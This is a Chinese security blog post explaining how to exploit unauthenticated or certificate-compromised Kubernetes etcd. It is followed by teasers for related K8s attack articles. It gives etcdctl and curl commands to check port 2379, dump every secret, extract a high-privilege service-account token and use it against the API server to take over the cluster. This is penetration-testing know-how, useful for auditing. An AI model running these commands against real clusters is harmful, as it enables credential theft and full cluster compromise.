K8s etcd未授权访问

一颗小胡椒2023-04-20 07:49:38

在安装完K8s后,默认会安装etcd组件,etcd是一个高可用的key-value数据库,它为k8s集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下etcd,就意味着能控制整个K8s集群。

在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看,etcd组件监听的端口为2379,并且对外开放。如图所示:

在etcd的配置文件/etc/kubernetes/manifests/etcd.yaml中,--client-cert-auth默认是true的,如图所示。

这就意味着访问etcd服务需要携带cert进行认证,执行如下命令访问etcd服务,可以看到提示未认证。etcdctl项目地址:https://github.com/etcd-io/etcd/releases/


#使用curl访问curl https://172.16.200.70:2379/version -k#使用etcdctl访问./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only

如果我们拿到了认证所属的如下证书,就可以远程进行认证了


#目标master节点上的证书/etc/kubernetes/pki/etcd/peer.crt/etc/kubernetes/pki/etcd/ca.crt/etc/kubernetes/pki/etcd/peer.key#将这三个认证所需的文件放在本地的etcdctl所在目录,然后导入export ETCDCTL_CERT=peer.crtexport ETCDCTL_CACERT=ca.crtexport ETCDCTL_KEY=peer.key./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only

etcd未授权访问

如果目标在启动etcd的时候没有开启证书认证选项,且2379端口直接对外开放的话,则存在etcd未授权访问漏洞。

访问目标的https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授权访问。如果显示如下,则证明存在未授权访问。


{etcdserver: "3.2.24", etcdcluster: "3.2.0"}或{"action":"get","node":{"dir":true}}

查找Token,接管K8s集群

由于Service Account 关联了一套凭证,存储在 Secret中。因此我们可以过滤Secret,查找具有高权限的Secret,然后获得其token接管K8s集群。


#查找所有的secretETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret#查找指定decret保存的证书和tokenETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp

最后的token为 token? 和 #kubernetes.io/service-account-token之间的部分。

可以使用curl验证token的有效性


curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k

然后就可以使用token登录dashboard或者远程命令管理K8s

k8setcd
本作品采用《CC 协议》,转载必须注明作者和本文链接
K8s etcd未授权访问
2023-04-20 07:49:38
在安装完K8s后,默认会安装etcd组件,etcd是一个高可用的key-value数据库,它为k8s集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下etcd,就意味着能控制整个K8s集群。在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看,etcd组件监听的端口为2379,并且对外开放。这就意味着访问etcd服务需要携带cert进行认证,执行如下命令访问etcd服务,可以看到提示未认证。
随着数字经济时代到来,云计算、大数据、物联网等新兴技术在关键信息基础设施领域深度应用,数字技术已经成为企业转型和发展的关键要素,而云是企业数字化转型的基础支柱,也是企业的首要技术重点
虽然网上有大量从零搭建 K8S 的文章,但大都针对老版本,若直接照搬去安装最新的 1.20 版本会遇到一堆问题。故此将我的安装步骤记录下来,希望能为读者提供 copy and paste 式的集群搭建帮助。
虽然网上有大量从零搭建?的文章,但大都针对老版本,若直接照搬去安装最新的?版本会遇到一堆问题。故此将我的安装步骤记录下来,希望能为读者提供?式的集群搭建帮助。服务等,可供用户免费下载、使用和分享。??启动的三节点服务已经配置好了以下使用?节点进行演示查看,其他节点操作均一致#?
k8s攻防之etcd数据库篇
2022-07-21 17:02:34
Etcd是一个具有强一致性的分布式 key-value 存储组件(也是一个高可用的分布式键值对数据库)。采用类似目录结构的方式对数据进行存储,仅在叶子结点上存储数据,叶子结点的父节点为目录,不能存储数据。多数情形下,数据库中的内容没有经过加密处理,一旦etcd被黑客拿下,就意味着整个k8s集群失陷。
浅谈云安全之K8S
2021-07-14 05:06:00
Kubernetes 是一个可移植的,可扩展的开源容器编排平台,用于管理容器化的工作负载和服务,方便了声明式配置和自动化。它拥有一个庞大且快速增长的生态系统。Kubernetes 的服务,支持和工具广泛可用。
K8s组件和架构
2022-12-29 16:51:34
K8s常见组件和架构
污点 节点亲和性 容忍度 污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点。在普通节点横向时我们可以使用污点容忍度创建恶意pod来对主节点进行横向控制。 kube-scheduler调度 kube-scheduler是Kubernetes集群的默认调度器,并且是集群控制面(master)的一部分。对每一个新创建的Pod或者是未被调度的Pod,kube-sche
K8s 的API Server未授权命令执行
常见组件未授权或配置不当情况下如何攻击利用
一颗小胡椒
暂无描述